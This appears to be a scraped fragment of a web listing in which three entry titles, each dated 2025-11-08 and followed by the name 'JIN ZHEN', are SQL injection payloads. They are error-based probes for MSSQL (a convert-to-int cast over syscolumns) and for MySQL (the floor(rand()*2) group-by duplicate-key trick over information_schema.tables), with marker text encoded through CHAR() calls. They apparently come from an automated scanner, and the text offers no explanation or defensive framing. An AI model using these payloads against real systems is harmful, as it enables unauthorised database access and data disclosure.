(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(78)+CHAR(76)+CHAR(87)+CHAR(54)+CHAR(111)+CHAR(102)+CHAR(111)+CHAR(67)) FROM syscolumns) (2025-11-08)
JIN ZHEN
(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(78),CHAR(76),CHAR(87),CHAR(54),CHAR(111),CHAR(102),CHAR(111),CHAR(67)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) (2025-11-08)
JIN ZHEN
and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(78),CHAR(76),CHAR(87),CHAR(54),CHAR(111),CHAR(102),CHAR(111),CHAR(67)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and (2025-11-08)